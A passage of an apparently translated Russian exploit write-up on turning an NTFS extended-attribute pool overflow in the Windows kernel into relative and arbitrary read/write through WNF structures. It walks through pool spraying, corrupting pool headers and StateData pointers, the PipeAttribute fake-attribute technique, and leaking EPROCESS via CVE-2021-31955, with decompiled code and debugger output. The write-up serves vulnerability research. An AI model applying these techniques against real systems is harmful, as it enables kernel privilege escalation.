DataSize предназначен для обозначения размера фактических данных, следующих за структурой в памяти, и используется для проверки границ в функции NtQueryWnfStateData. Сама операция копирования памяти происходит в функции ExpWnfReadStateData:

C:
__int64 __fastcall ExpWnfReadStateData(__int64 nameinstance, _DWORD *CurrentChangeStamp, void *dest, unsigned int BufferSize, _DWORD *outbufsize)
{
  volatile signed __int64 *v9; // rbx
  __int64 v10; // rdi
  _DWORD *StateData; // rdx
  unsigned int DataSize; // eax
  unsigned int v14; // [rsp+20h] [rbp-48h]

  v14 = 0;
  v9 = (volatile signed __int64 *)(nameinstance + 0x50);
  v10 = KeAbPreAcquire(nameinstance + 0x50, 0i64, 0);
  if ( _InterlockedCompareExchange64(v9, 17i64, 0i64) )
    ExfAcquirePushLockSharedEx(v9, v10, v9);
  if ( v10 )
    *(_BYTE *)(v10 + 26) |= 1u;
  StateData = *(_DWORD **)(nameinstance + 0x58);// StateData
  if ( !StateData )
  {
    *CurrentChangeStamp = 0;
    goto LABEL_11;
  }
  if ( StateData == (_DWORD *)1 )
  {
    *CurrentChangeStamp = *(_DWORD *)(nameinstance + 0x60);
LABEL_11:
    *outbufsize = 0;
    goto LABEL_13;
  }
  *CurrentChangeStamp = StateData[3];
  *outbufsize = StateData[2];
  DataSize = StateData[2];
  if ( BufferSize < DataSize )
  {                                             // length check on size here
    v14 = -1073741789;                          // STATUS_BUFFER_TOO_SMALL
  }
  else
  {
    memmove(dest, StateData + 4, DataSize);
    v14 = 0;
  }
LABEL_13:
  if ( _InterlockedCompareExchange64(v9, 0i64, 17i64) != 17 )
    ExfReleasePushLockShared((signed __int64 *)v9);
  KeAbPostRelease((ULONG_PTR)v9);
  return v14;
}

Таким образом, очевидно, что если мы сможем повредить DataSize, это даст относительное раскрытие памяти ядра.

1642494375440.png


Я говорю относительно, потому что на структуру _WNF_STATE_DATA указывает указатель StateData _WNF_NAME_INSTANCE, с которым она связана:

C:
nt!_WNF_NAME_INSTANCE
   +0x000 Header           : _WNF_NODE_HEADER
   +0x008 RunRef           : _EX_RUNDOWN_REF
   +0x010 TreeLinks        : _RTL_BALANCED_NODE
   +0x028 StateName        : _WNF_STATE_NAME_STRUCT
   +0x030 ScopeInstance    : Ptr64 _WNF_SCOPE_INSTANCE
   +0x038 StateNameInfo    : _WNF_STATE_NAME_REGISTRATION
   +0x050 StateDataLock    : _WNF_LOCK
   +0x058 StateData        : Ptr64 _WNF_STATE_DATA
   +0x060 CurrentChangeStamp : Uint4B
   +0x068 PermanentDataStore : Ptr64 Void
   +0x070 StateSubscriptionListLock : _WNF_LOCK
   +0x078 StateSubscriptionListHead : _LIST_ENTRY
   +0x088 TemporaryNameListEntry : _LIST_ENTRY
   +0x098 CreatorProcess   : Ptr64 _EPROCESS
   +0x0a0 DataSubscribersCount : Int4B
   +0x0a4 CurrentDeliveryCount : Int4B

Теперь, когда это относительное чтение позволяет раскрыть другие соседние объекты в пуле. Некоторый вывод в качестве примера из моего кода:

Makefile:
found corrupted element changeTimestamp 54545454 at index 4972
len is 0xff
41 41 41 41 42 42 42 42  43 43 43 43 44 44 44 44  |  AAAABBBBCCCCDDDD
00 00 03 0B 57 6E 66 20  E0 56 0B C7 F9 97 D9 42  |  ....Wnf .V.....B
04 09 10 00 10 00 00 00  10 00 00 00 01 00 00 00  |  ................
41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA
00 00 03 0B 57 6E 66 20  D0 56 0B C7 F9 97 D9 42  |  ....Wnf .V.....B
04 09 10 00 10 00 00 00  10 00 00 00 01 00 00 00  |  ................
41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA
00 00 03 0B 57 6E 66 20  80 56 0B C7 F9 97 D9 42  |  ....Wnf .V.....B
04 09 10 00 10 00 00 00  10 00 00 00 01 00 00 00  |  ................
41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA
00 00 03 03 4E 74 66 30  70 76 6B D8 F9 97 D9 42  |  ....Ntf0pvk....B
60 D6 55 AA 85 B4 FF FF  01 00 00 00 00 00 00 00  |  `.U.............
7D B0 29 01 00 00 00 00  41 41 41 41 41 41 41 41  |  }.).....AAAAAAAA
00 00 03 0B 57 6E 66 20  20 76 6B D8 F9 97 D9 42  |  ....Wnf  vk....B
04 09 10 00 10 00 00 00  10 00 00 00 01 00 00 00  |  ................
41 41 41 41 41 41 41 41  41 41 41 41 41 41 41     |  AAAAAAAAAAAAAAA

На данный момент есть много интересных вещей, которые могут просочиться, особенно если учесть, что как уязвимый фрагмент NTFS, так и фрагмент WNF могут быть расположены с другими интересными объектами. Такие элементы, как поле ProcessBilled, также могут быть утеряны с помощью этого метода.

Мы также можем использовать значение ChangeStamp, чтобы определить, какие из наших объектов повреждены при спреинге пула объектами _WNF_STATE_DATA.

Относительная запись в память

Так как насчет записи данных за пределами границ?

Makefile:
extern "C"
NTSTATUS
NTAPI
NtUpdateWnfStateData(
    _In_ PWNF_STATE_NAME StateName,
    _In_reads_bytes_opt_(Length) const VOID * Buffer,
    _In_opt_ ULONG Length,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_opt_ const PVOID ExplicitScope,
    _In_ WNF_CHANGE_STAMP MatchingChangeStamp,
    _In_ ULONG CheckStamp
);

Взглянув на функцию NtUpdateWnfStateData, мы получаем интересный вызов: ExpWnfWriteStateData((__int64)nameInstance, InputBuffer, Length, MatchingChangeStamp, CheckStamp); Ниже показано некоторое содержимое функции ExpWnfWriteStateData:

C:
if ( !v12 && (*(_QWORD *)(nameinstance + 104) || (_DWORD)Length)
    || (StateData = v12) != 0i64 && v12[1] < (unsigned int)Length ) // If we corrupt header here, we can make sure the old allocation is used.
  {
    if ( (_InterlockedExchangeAdd64(v9, 0xFFFFFFFFFFFFFFFFui64) & 6) == 2 )
      ExfTryToWakePushLock(nameinstance + 80);
    KeAbPostRelease(nameinstance + 80);
    if ( ((*(_DWORD *)(nameinstance + 40) >> 4) & 3) != 3
      || PsInitialSystemProcess == *(PEPROCESS *)(nameinstance + 152) )
    {
      v19 = ExAllocatePoolWithTag(PagedPool, (unsigned int)(Length + 16), 0x20666E57u);
      v23 = v19;
    }
    else
    {
      CreatorProcess = *(_KPROCESS **)(nameinstance + 0x98);
      if ( !CreatorProcess )
        return 3221225524i64;
      if ( CreatorProcess == KeGetCurrentThread()->ApcState.Process )
      {
        v18 = 0;
      }
      else
      {
        v18 = 1;
        KiStackAttachProcess((ULONG_PTR)CreatorProcess);
      }
      v19 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(Length + 16), 0x20666E57u); // This is our controlled allocation on the paged pool
      v23 = v19;
      if ( v18 )
        KiUnstackDetachProcess(v29, 0i64);
      v7 = src;
    }
    if ( !v19 )
      return 3221225626i64;
    *((_QWORD *)v19 + 1) = 0i64;
    *v19 = 1050884;
    v19[1] = Length;
    v20 = KeAbPreAcquire(nameinstance + 80, 0i64, 0);
    v21 = v20;
    if ( _interlockedbittestandset64((volatile signed __int32 *)v9, 0i64) )
      ExfAcquirePushLockExclusiveEx((unsigned __int64 *)(nameinstance + 80), v20, nameinstance + 80);
    if ( v21 )
      *(_BYTE *)(v21 + 26) |= 1u;
    StateData = 0i64;
    if ( *(_QWORD *)(nameinstance + 0x58) != 1i64 )
      StateData = *(_DWORD **)(nameinstance + 0x58);
    if ( !StateData || StateData[1] < (unsigned int)Length )
      StateData = v23;
  }
  for ( i = *(_DWORD *)(nameinstance + 96) + 1; !i; i = 1 )
    ;
  if ( StateData )
  {
    memmove(StateData + 4, v7, Length);
    StateData[2] = Length;                      // Update the DataSize
    StateData[3] = i;                           // Set ChangeStamp
    v15 = *(void **)(nameinstance + 104);

Мы видим, что если мы повредим AllocatedSize, представленный v12[1] в приведенном выше коде, так что он будет больше, чем фактический размер данных, тогда будет использоваться существующее распределение, а операция memcpy повредит дополнительную память.

Итак, на данный момент стоит отметить, что относительная запись на самом деле не дала нам ничего большего, чем мы уже имели с переполнением NTFS. Однако, поскольку данные могут быть как прочитаны, так и записаны обратно с использованием этого метода, он открывает возможность считывать данные, изменять определенные их части и записывать их обратно.

_POOL_HEADER BlockSize Corruption для произвольного чтения с использованием атрибутов канала

Как упоминалось ранее, когда я впервые начал исследовать эту уязвимость, у меня сложилось впечатление, что фрагмент пула должен быть очень маленьким, чтобы вызвать аннулирование потока. По умолчанию только в сегменте фрагмента 0x30 я не смог найти никаких интересных объектов, которые можно было бы использовать для произвольного чтения.

Поэтому мой подход состоял в том, чтобы использовать переполнение NTFS для повреждения BlockSize фрагмента размером 0x30 WNF _POOL_HEADER.

Makefile:
nt!_POOL_HEADER
   +0x000 PreviousSize     : 0y00000000 (0)
   +0x000 PoolIndex        : 0y00000000 (0)
   +0x002 BlockSize        : 0y00000011 (0x3)
   +0x002 PoolType         : 0y00000011 (0x3)
   +0x000 Ulong1           : 0x3030000
   +0x004 PoolTag          : 0x4546744e
   +0x008 ProcessBilled    : 0x0057005c`007d0062 _EPROCESS
   +0x008 AllocatorBackTraceIndex : 0x62
   +0x00a PoolTagHash      : 0x7d

Убедившись, что бит PoolQuota в PoolType не установлен, мы можем избежать любых проверок целостности при освобождении фрагмента.

Установив BlockSize на другой размер, как только блок будет освобожден с использованием нашего контролируемого освобождения, мы можем принудительно сохранить адрес блока в неправильном списке просмотра для размера.

Затем мы можем перераспределить другой объект другого размера, соответствующий размеру, который мы использовали при повреждении фрагмента, который теперь помещен в этот резервный список, чтобы занять место этого объекта.

Наконец, мы можем снова инициировать повреждение и, следовательно, повредить наш более интересный объект.

Сначала я продемонстрировал, что это возможно, используя другой фрагмент WNF размером 0x220:

Makefile:
1: kd> !pool @rax
Pool page ffff9a82c1cd4a30 region is Paged pool
 ffff9a82c1cd4000 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4030 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4060 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4090 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd40c0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd40f0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4120 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4150 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4180 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd41b0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd41e0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4210 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4240 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4270 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd42a0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd42d0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4300 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4330 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4360 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4390 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd43c0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd43f0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4420 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4450 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4480 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd44b0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd44e0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4510 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4540 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4570 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd45a0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd45d0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4600 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4630 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4660 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4690 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd46c0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd46f0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4720 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4750 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4780 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd47b0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd47e0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4810 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4840 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4870 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd48a0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd48d0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4900 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4930 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4960 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4990 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd49c0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd49f0 size:   30 previous size:    0  (Free)       NtFE
*ffff9a82c1cd4a20 size:  220 previous size:    0  (Allocated) *Wnf  Process: ffff8608b72bf080
        Pooltag Wnf  : Windows Notification Facility, Binary : nt!wnf
 ffff9a82c1cd4c30 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4c60 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4c90 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4cc0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4cf0 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4d20 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4d50 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080
 ffff9a82c1cd4d80 size:   30 previous size:    0  (Allocated)  Wnf  Process: ffff8608b72bf080

Однако главное здесь — это возможность найти более интересный объект для порчи. В качестве быстрой победы также был использован объект PipeAttribute из отличной статьи https://www.sstic.org/media/SSTIC20...tion_since_windows_10_19h1-bayet_fariello.pdf.

C:
typedef struct pipe_attribute {
    LIST_ENTRY list;
    char* AttributeName;
    size_t ValueSize;
    char* AttributeValue;
    char data[0];
} pipe_attribute_t;

Поскольку блоки PipeAttribute также имеют контролируемый размер и размещаются в выгружаемом пуле, можно поместить один рядом либо с уязвимым блоком NTFS, либо с блоком WNF, который допускает относительную запись.

Используя этот макет, мы можем повредить указатель Flink PipeAttribute и указать его обратно на фальшивый атрибут пайпа, как описано в статье выше. Пожалуйста, вернитесь к этой статье для получения более подробной информации о технике.

Схематически мы получаем следующую схему памяти для произвольной части чтения:

1642494550924.png


Хотя это сработало и предоставило хороший надежный примитив произвольного чтения, первоначальная цель состояла в том, чтобы больше изучить WNF, чтобы определить, как злоумышленник мог использовать его.

Путь к произвольной записи

Сделав шаг назад после этого незначительного обхода атрибутов пайпа и осознав, что я действительно могу контролировать размер уязвимых фрагментов NTFS. Я начал выяснять, можно ли повредить указатель StateData структуры _WNF_NAME_INSTANCE. Используя это, до тех пор, пока DataSize и AllocatedSize могут быть выровнены по разумным значениям в целевой области, в которой должна была произойти перезапись, тогда проверка границ в ExpWnfWriteStateData будет успешной.

Глядя на создание _WNF_NAME_INSTANCE, мы видим, что он будет иметь размер 0xA8 + POOL_HEADER (0x10), то есть размер 0xB8. В итоге это помещается в кусок 0xC0 в пуле сегментов:

C:
__int64 __fastcall ExpWnfCreateNameInstance(unsigned __int64 ScopeInstance, unsigned __int64 statename, __int64 a3, struct _KPROCESS *a4, struct _EX_RUNDOWN_REF **a5)
{
  __int64 v5; // rax
  unsigned __int64 v7; // r15
  SIZE_T v10; // rdx
  struct _EX_RUNDOWN_REF *v11; // rax
  struct _EX_RUNDOWN_REF *nameinstance; // rdi
  struct _EX_RUNDOWN_REF *v13; // r12
  unsigned int v14; // esi
  volatile signed __int64 *v15; // rsi
  __int64 v16; // rax
  __int64 v17; // r14
  struct _EX_RUNDOWN_REF *v18; // rax
  struct _EX_RUNDOWN_REF *v19; // r14
  _QWORD *pNameSet; // rdx
  bool v21; // r8
  _QWORD *v22; // rax
  unsigned __int64 v23; // r15
  __int64 v24; // rax
  __int64 v25; // r14
  struct _EX_RUNDOWN_REF **v26; // r8
  struct _EX_RUNDOWN_REF *v27; // rdx
  SIZE_T v29; // rdx
  void *StateData; // rcx

  v5 = *(_QWORD *)(a3 + 8);
  v7 = (statename >> 4) & 3;
  if ( PsInitialSystemProcess == a4 || (_DWORD)v7 != 3 )
  {
    v10 = 0xB8i64;
    if ( !v5 )
      v10 = 0xA8i64;
    v11 = (struct _EX_RUNDOWN_REF *)ExAllocatePoolWithTag(PagedPool, v10, 0x20666E57u);
  }
  else
  {
    v29 = 0xB8i64;
    if ( !v5 )
      v29 = 0xA8i64;
    v11 = (struct _EX_RUNDOWN_REF *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, v29, 0x20666E57u);
  }
  nameinstance = v11;

Таким образом, цель состоит в том, чтобы произошло следующее:

1642494602606.png


Мы можем выполнить распыление, как и раньше, используя любой размер _WNF_STATE_DATA, что приведет к выделению экземпляра _WNF_NAME_INSTANCE для каждого созданного _WNF_STATE_DATA.

Поэтому может получиться наша желаемая структура памяти с _WNF_NAME_INSTANCE, примыкающим к нашему переполненному фрагменту NTFS, следующим образом:

Makefile:
ffffdd09b35c8010 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c80d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8190 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
*ffffdd09b35c8250 size:   c0 previous size:    0  (Allocated) *NtFE
        Pooltag NtFE : Ea.c, Binary : ntfs.sys
 ffffdd09b35c8310 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080      
 ffffdd09b35c83d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8490 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8550 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8610 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c86d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8790 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8850 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8910 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c89d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8a90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8b50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8c10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8cd0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8d90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8e50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080
 ffffdd09b35c8f10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff8d87686c8080

Мы можем видеть перед повреждением следующие значения структуры:

Makefile:
1: kd> dt _WNF_NAME_INSTANCE ffffdd09b35c8310+0x10
nt!_WNF_NAME_INSTANCE
   +0x000 Header           : _WNF_NODE_HEADER
   +0x008 RunRef           : _EX_RUNDOWN_REF
   +0x010 TreeLinks        : _RTL_BALANCED_NODE
   +0x028 StateName        : _WNF_STATE_NAME_STRUCT
   +0x030 ScopeInstance    : 0xffffdd09`ad45d4a0 _WNF_SCOPE_INSTANCE
   +0x038 StateNameInfo    : _WNF_STATE_NAME_REGISTRATION
   +0x050 StateDataLock    : _WNF_LOCK
   +0x058 StateData        : 0xffffdd09`b35b3e10 _WNF_STATE_DATA
   +0x060 CurrentChangeStamp : 1
   +0x068 PermanentDataStore : (null)
   +0x070 StateSubscriptionListLock : _WNF_LOCK
   +0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xffffdd09`b35c8398 - 0xffffdd09`b35c8398 ]
   +0x088 TemporaryNameListEntry : _LIST_ENTRY [ 0xffffdd09`b35c8ee8 - 0xffffdd09`b35c85e8 ]
   +0x098 CreatorProcess   : 0xffff8d87`686c8080 _EPROCESS
   +0x0a0 DataSubscribersCount : 0n0
   +0x0a4 CurrentDeliveryCount : 0n0

Затем, после переполнения наших расширенных атрибутов NTFS, мы перезаписали ряд полей:

Makefile:
1: kd> dt _WNF_NAME_INSTANCE ffffdd09b35c8310+0x10
nt!_WNF_NAME_INSTANCE
   +0x000 Header           : _WNF_NODE_HEADER
   +0x008 RunRef           : _EX_RUNDOWN_REF
   +0x010 TreeLinks        : _RTL_BALANCED_NODE
   +0x028 StateName        : _WNF_STATE_NAME_STRUCT
   +0x030 ScopeInstance    : 0x61616161`62626262 _WNF_SCOPE_INSTANCE
   +0x038 StateNameInfo    : _WNF_STATE_NAME_REGISTRATION
   +0x050 StateDataLock    : _WNF_LOCK
   +0x058 StateData        : 0xffff8d87`686c8088 _WNF_STATE_DATA
   +0x060 CurrentChangeStamp : 1
   +0x068 PermanentDataStore : (null)
   +0x070 StateSubscriptionListLock : _WNF_LOCK
   +0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xffffdd09`b35c8398 - 0xffffdd09`b35c8398 ]
   +0x088 TemporaryNameListEntry : _LIST_ENTRY [ 0xffffdd09`b35c8ee8 - 0xffffdd09`b35c85e8 ]
   +0x098 CreatorProcess   : 0xffff8d87`686c8080 _EPROCESS
   +0x0a0 DataSubscribersCount : 0n0
   +0x0a4 CurrentDeliveryCount : 0n0

Например, указатель StateData был изменен для хранения адреса структуры EPROCESS:

C:
1: kd> dx -id 0,0,ffff8d87686c8080 -r1 ((ntkrnlmp!_WNF_STATE_DATA *)0xffff8d87686c8088)
((ntkrnlmp!_WNF_STATE_DATA *)0xffff8d87686c8088)                 : 0xffff8d87686c8088 [Type: _WNF_STATE_DATA *]
    [+0x000] Header           [Type: _WNF_NODE_HEADER]
    [+0x004] AllocatedSize    : 0xffff8d87 [Type: unsigned long]
    [+0x008] DataSize         : 0x686c8088 [Type: unsigned long]
    [+0x00c] ChangeStamp      : 0xffff8d87 [Type: unsigned long]


PROCESS ffff8d87686c8080
    SessionId: 1  Cid: 1760    Peb: 100371000  ParentCid: 1210
    DirBase: 873d5000  ObjectTable: ffffdd09b2999380  HandleCount:  46.
    Image: TestEAOverflow.exe

Я также использовал CVE-2021-31955 как быстрый способ получить адрес EPROCESS. При этом использовался в дикой природе. Однако ожидается, что с примитивами и гибкостью этого переполнения это, скорее всего, не понадобится, и это также можно использовать при низкой целостности.

Однако здесь все еще есть некоторые проблемы, и это не так просто, как просто перезаписать StateName значением, которое вы хотели бы найти.

Повреждение StateName

Для успешного поиска StateName внутреннее имя состояния должно соответствовать запрашиваемому внешнему имени.

На этом этапе стоит более подробно рассмотреть процесс поиска StateName.

Как упоминалось в разделе "Игра с Windows Notification Facility", каждый _WNF_NAME_INSTANCE сортируется и помещается в дерево AVL на основе его StateName.

Существует внешняя версия StateName, которая является внутренней версией StateName, объединенной XOR с 0x41C64E6DA3BC0074.

Например, внешнее значение StateName 0x41c64e6da36d9945 внутри станет следующим:

Makefile:
1: kd> dx -id 0,0,ffff8d87686c8080 -r1 (*((ntkrnlmp!_WNF_STATE_NAME_STRUCT *)0xffffdd09b35c8348))
(*((ntkrnlmp!_WNF_STATE_NAME_STRUCT *)0xffffdd09b35c8348))                 [Type: _WNF_STATE_NAME_STRUCT]
    [+0x000 ( 3: 0)] Version          : 0x1 [Type: unsigned __int64]
    [+0x000 ( 5: 4)] NameLifetime     : 0x3 [Type: unsigned __int64]
    [+0x000 ( 9: 6)] DataScope        : 0x4 [Type: unsigned __int64]
    [+0x000 (10:10)] PermanentData    : 0x0 [Type: unsigned __int64]
    [+0x000 (63:11)] Sequence         : 0x1a33 [Type: unsigned __int64]
1: kd> dc 0xffffdd09b35c8348
ffffdd09`b35c8348  00d19931

Или в побитовых операциях:

Version = InternalName & 0xf
LifeTime = (InternalName >> 4) & 0x3
DataScope = (InternalName >> 6) & 0xf
IsPermanent = (InternalName >> 0xa) & 0x1
Sequence = InternalName >> 0xb


Здесь важно понимать, что хотя Version, LifeTime, DataScope и Sequence контролируются, порядковый номер для имен состояний WnfTemporaryStateName хранится в глобальном файле.

Как вы можете видеть из нижеприведенного, на основе DataScope текущие серверные глобальные хранилища или глобальные серверные хранилища смещаются для получения версии 10, а затем это используется в качестве последовательности, которая каждый раз увеличивается на 1.

Makefile:
__int64 __fastcall ExpWnfGenerateStateName(unsigned __int64 *StateName, int NameLifetime, int DataScope, char PersistData)
{
  char v5; // si
  __int64 v8; // rbx
  __int64 v9; // rax
  signed __int64 v10; // rdx
  bool v11; // zf
  unsigned __int64 Sequence; // rdx
  __int64 result; // rax
  unsigned __int64 v14[3]; // [rsp+20h] [rbp-18h] BYREF

  v14[0] = 0i64;
  v5 = DataScope;
  if ( (unsigned int)(DataScope - 4) > 1 )
  {
    v8 = PsGetCurrentServerSilo();
    v9 = PsGetCurrentServerSiloGlobals();
  }
  else
  {
    v8 = HalSystemVectorDispatchEntry();
    v9 = PsGetServerSiloGlobals(v8);
  }
  if ( (unsigned int)(NameLifetime - 2) > 1 )
  {
    result = ExpWnfAllocateNextPersistentNameSequence(v8, v14);
    if ( (int)result < 0 )
      return result;
    Sequence = v14[0];
  }
  else
  {
    do
    {
      v10 = _InterlockedExchangeAdd64((volatile signed __int64 *)(v9 + 960), 1ui64);
      v11 = v10 == -1;
      Sequence = v10 + 1;
      v14[0] = Sequence;
    }
    while ( v11 );
  }
  if ( (Sequence & 0xFFE0000000000000ui64) != 0 )
    return 0xC0000001i64;
  *StateName = (16 * ((Sequence << 7) | NameLifetime & 3)) | ((PersistData != 0 ? 0x400 : 0) | ((v5 & 0xF) << 6)) & 0x7FE | 1;
  return 0i64;
}

Затем для поиска экземпляра имени используется следующий код:

C:
_QWORD *__fastcall ExpWnfFindStateName(__int64 scopeinstance, unsigned __int64 statename)
{
  _QWORD *i; // rax

  for ( i = *(_QWORD **)(scopeinstance + 0x38); ; i = (_QWORD *)i[1] )
  {
    while ( 1 )
    {
      if ( !i )
        return 0i64;
      if ( statename >= i[3] )
        break;
      i = (_QWORD *)*i;
    }
    if ( statename <= i[3] )
      break;
  }
  return i - 2;
}

i[3] в этом случае на самом деле является StateName структуры _WNF_NAME_INSTANCE, поскольку он находится за пределами _RTL_BALANCED_NODE, корнем которого является элемент NameSet структуры _WNF_SCOPE_INSTANCE.

C:
struct _WNF_SCOPE_INSTANCE
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    struct _EX_RUNDOWN_REF RunRef;                                          //0x8
